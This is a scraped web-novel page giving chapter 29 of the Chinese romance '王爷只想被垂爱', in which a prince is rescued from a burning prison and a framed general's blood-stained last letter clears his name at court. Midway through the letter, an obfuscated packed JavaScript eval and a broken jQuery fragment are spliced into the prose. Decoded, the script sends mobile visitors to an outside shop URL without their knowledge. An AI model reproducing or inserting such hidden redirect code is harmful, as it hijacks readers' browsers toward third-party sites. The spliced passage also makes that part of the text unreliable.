文趣网 > 其他小说 > 王爷只想被垂爱 > 29. 第 29 章
    烈焰穿廊,火光照亮天牢。

    霍剑依照先前的情报找到了伏怀青所在位置,心中只祈祷王爷千万不要出现,可当真正到达时,还是看见了一道熟悉的身影。

    火光笼罩周身,伏怀青静坐原地,正垂眼盯着手中的信封怔怔出神,应是在想什么。

    所有人都在求生,唯独伏怀青在等死。

    只是等了许久许久,周围接二连三倒塌,却始终没有砸到他身上;火势不断蔓延,却迟迟未烧到他的衣裳;狱卒逃跑之前甚至曾为他打开牢房,可他并未踏离半步。

    熟悉的声音在呼唤,伏怀青眼眸微动,却又渐渐垂下,只当是临死前的幻听,是走马灯的假象。

    直到脚步渐渐变得清晰,伏怀青终于意识到什么,转头看去,看见了踏火而来的霍剑。

    霍剑跪倒在他身侧,心悸又苦苦哀求:“王爷,请随属下离开!求您……求您……求您随属下离开……”

    伏怀青微微皱眉。他明明已提前给下面人传信,说自己在天牢中留有后路,若发生危急之事不必忧心他的安危,只需继续完成命令。

    可霍剑为何会出现在此处?他又为如何知晓自己行事?

    又一道身影疾驰而来,青刃震惊道:“王爷,您竟当真在这儿!”

    这一刻,伏怀青终于明白了事情的原委。

    见霍剑迟迟不动,青刃怒骂:“还愣着干嘛!将王爷送出去啊!”

    可伏怀青迟迟不表态,霍剑不敢擅作主张。

    青刃只觉如此紧急时刻,霍剑竟然还磨磨蹭蹭。她气不打一处来,猛地踹了霍剑一脚,麻利地架起伏怀青的手臂想要将人拖起,视线扫到他手里的信,又骂:

    “王妃还在外面等着呢!您可不能死在这儿!她会伤心的!”

    见青刃不顾一切,霍剑一狠心也不顾尊卑,强行将人带走。

    往外逃离的这一路出奇的顺利,恍惚间,伏怀青以为这或许是上苍冥冥之中不愿让他就此死去。可直到后来才明白,让他活下来的不是上苍,是他的王妃。

    温热夜风拂面时,有细小的雨滴落在鼻尖。

    外面一切都显得乱糟糟,大理寺、禁军、五城兵马司等多方人马混杂其中,有人朝他涌来,被迟迟赶来的霍刀等人挡住而无法靠近。

    慕同春、万长鸾、梅若鸿也终于气喘吁吁地赶到,却只停在不远处,并未靠近。

    又一滴雨珠落在下睫毛,伏怀青下意识眨眼,再度抬起时,只看见人群之后的一人。

    天空开始下雨,一阵风腾起,风扑展在胸膛,从指缝流过,轻抚脸庞。

    师照玉朝他走来,风裹挟着她身上的味道扑面而来。

    风在拥抱他,她也是。

    他听见她的声音,如流泉击石,如絮风穿廊,如清月照玉。

    她将他紧紧地拥抱,时隔多日再度触碰到她的体温,依旧滚烫,亦或比往日更加热烈。

    相贴时,他听见猛烈又铿锵的心跳,抬手迎合地拥住。

    这一瞬,他忽地开始庆幸,庆幸自己没有死。

    伏怀青张了张嘴想要出声,却发现嗓子沙哑得不成样子。

    他说:“好。”

    ……

    天牢起火的消息四散开时,皇帝在右相和折罗古朔的口中得知事情真相,知晓西羯八部的无辜与求和意愿,知晓伏乾王朝之内另有叛徒谋害将领。

    次日早朝,折罗古朔以使者之身立于大殿之上,当众禀明自身来历。

    他直言孟长宇遇害一事绝非西羯八部所为,己方从未调兵围困,此番前来唯愿两国罢嫌修好,永结和睦。

    可有人指出折罗古朔仅是一面之词,身为外邦之敌竟擅闯京城,妄想以此诡计欺骗陛下,实乃居心叵测,请愿彻查协助折罗古朔入京之人。

    这群人巧舌能辨、扭曲事实又煽风点火。折罗古朔被连连质问,几番往来后显出些许无力。

    关键时刻,大理寺递上勘案文书。西北侦骑传回密报,随行入京的两位将领私通肃王,早已背主,双方往来证据确凿。

    当日亦是此二人率兵围袭孟长宇,致其殒命。

    大理寺同时揭露肃王欺上瞒下,克扣军饷粮草,细数边关战士生存环境艰苦。

    纵使如此,仍有人死咬不放,说孟长宇和珩王私通外邦乃是事实,鲁焕和两位将领都曾亲口指认,并且还有往来密信为证。

    朝堂之上,折罗古朔孤身独立。

    他紧咬牙关,敛眸沉思,迫使自己保持冷静。脑海久久回荡过往种种,孟将军与珩王皆遭背叛,以身犯险布局谋划至今,他身为西羯使者身负重任,不该止步于此。

    他又想起师照玉说过的话。

    折罗古朔定神,压下情绪,坚定抬眼:“鲁焕所给密信乃是伪造,本使手中存有孟将军与珩王殿下真实的往来书信。”

    说着,折罗古朔取来三封亲笔信件交由大理寺卿当堂查验。

    字迹虽极为相似,但此刻逐一比对又细细辨别,确发现端倪,最终判定为伪造。

    有人不依不饶辩驳:“先前也曾仔细比对字迹,为何没有发现?使者所呈罪证亦可为伪造!”

    折罗古朔回望说话之人,挑衅又冷冽地笑:“珩王府内还有一大箱信件,这三封还是王妃亲手交与本使,你却说作假?”

    众人默默望向左相,师正德从始至终静默不语。

    不等旁人多言,卢书达取出新证物,是一封染满血污的遗书。

    师正德抬眼,这才问道:“此信从何而来?”

    卢书达回:“自孟长宇遗体腹中得来。”

    在场众人一片哗然。

    刺客夜袭孟府一事,众人皆被伏怀青和孟长宇同谋叛国一案吸引注意,竟渐渐遗忘他们所行真正目的是毁尸灭迹。

    为何要毁尸?又要灭什么迹?

    伏怀青曾提前向部下传出消息,孟长宇腹中留有遗书,此为关键物证,需剖腹取出。

    师正德又问:“遗书写了什么?”

    卢书达展开遗书,字字入目,心中惊涛,眼含热泪:“臣孟长宇,留此绝书。”

    他的嗓音本是沉厚洪亮,此刻却带哽咽的颤意。

    朝堂鸦雀无声,君臣屏息,静待右相念出信中内容。

    信言:

    臣孟长宇,留此绝书。

    今臣身殒,非死于敌寇,非败于沙场,实死于部下构害,陷于奸党合围。

    肃王为扩张势力、把持边陲重地,曾屡次蓄意挑起西疆战乱。臣知其不轨之心却深陷桎梏,麾下随行将卒已被其收买渗透,一言一行皆受掣肘。

    臣身在边疆却心向庙堂,寸寸山河为誓死守护之域,赤胆忠心是报君报国之诚,此生戎马倥偬,未敢生一丝叛念。

    从未负君,从未负国,天地可鉴,日月可昭。

    此生最大愧憾便是亏欠家人、愧对挚友。未尽人子之孝,未尽丈夫之责,未尽慈父之任。今臣以身殉义,愧疚刻骨。

    愿陛下明察秋毫,止边境之乱,护万家安宁。

    “臣,虽死无憾。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588509|203451||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    书信念毕,满堂寂然。

    皇帝端坐龙椅之上,沉凝不语。

    官员之中,有人眼圈泛红垂首长叹,悄悄以袖掩面拭泪。

    一行浊泪,持信之手微微颤抖,卢书达沉沉望向皇帝:“陛下,孟将军……是冤枉的。”

    皇帝动了动唇,看向左相,犹豫了。

    周遭唏嘘落泪,师正德却稳稳伫立原地,眉眼沉静,不见半分动容。

    “本官有一事,还望右相解惑。”

    “左相请讲。”

    师正德神色平静,缓缓开口:“边关生活如此艰苦,孟长宇又如何守得近乎十载安稳?”

    继而看向折罗古朔:“世人流言称孟长宇素来亲近西羯,时常与尔等射箭赛马,待你们分外亲厚。此事,使者可肯承认?”

    折罗古朔惧怕左相,停顿半分:“确有一人与我族亲近,但不是孟长宇。”

    “哦?”师正德含笑,却只觉慑人,“那是何人呢?”

    “是鲁焕……可我们未曾想到他竟是这样的人!若早知今日之事,我西羯部族定不会与他往来!”

    听闻回答,师正德朝卢书达望去,笑:“竟是鲁焕?”

    卢书达回望,气势凛然:“鲁焕已尽数认罪,承认是他伪造珩王与孟长宇外来书信,私通西羯一事更是他一人所为。”

    师正德敛眸,朝皇帝拱手:“既如此,臣无话可说。”

    话音刚落,殿内群臣纷然出声:“此案证据已然确凿,恳请陛下为孟将军与珩王殿下洗刷冤屈!”

    皇帝望向阶下,逐一扫过众人,遂下旨:

    “朕已洞悉全部内情。孟长宇忠勇殉身,朕今日为其洗尽污名,追封爵位,赐谥厚葬,恩荫家人永世享朝廷恩禄。”

    “珩王无端身陷囹圄,即刻解除拘押,准予回归王府,往后亦可安心度日。”

    “鲁焕伪造证物,构陷宗室忠良,罪责难逃,然其所行护边境长久安宁,朕便只降罪鲁焕一人,即刻处斩,其家人不予连坐。”

    “……”

    “此案就此了结。”

    ……

    冷雨萧瑟,轻打草木,王府院内笼着一层灰蒙薄雾。

    雾色落于眉宇,伏怀青倚坐在游廊栏边,时而偏头轻咳,纵使冷风穿堂也不愿进屋取暖。

    伏怀青此番困于天牢,虽未受皮肉之苦,却染了风寒,加之日夜心神紧绷寝食难安,身子变得比以前更糟糕。

    师照玉陪在近旁,素面清颜,穿得单薄却不觉寒,目光随意望向院中落花,她问:“肃王呢?”

    此案除了肃王,所有人都得到结果,唯独肃王这位始作俑者迟迟未被提及,也无人敢谏言惩处。

    “至少如今天下人皆知肃王行径,三王之中唯他先失了民心。”

    师照玉侧头,目光落在清俊面庞,沉吟片刻:“鲁焕竟愿担下一切?”

    鲁焕至始至终以叛徒身份出现,能躲过一切搜查将密信带入天牢,又以此反咬孟长宇引出两位将领牵扯出肃王,最后成了背负骂名的替死鬼。

    正如伏怀青一开始告知,鲁焕是孟长宇亲自提拔的副将,是孟长宇最信任的部下,这样一个人怎么会背叛自己的将军呢?

    伏怀青回望她:“你可见过鲁焕脸上刀痕?”

    在这场叛国案中,师照玉从未见过鲁焕,却听说过此人极为可怖的容貌。

    伏怀青:“当初鲁焕被敌人围困,若非孟长宇及时救下,刀痕会更深。”

    鲁焕的忠诚,不容置疑,也矢志不渝。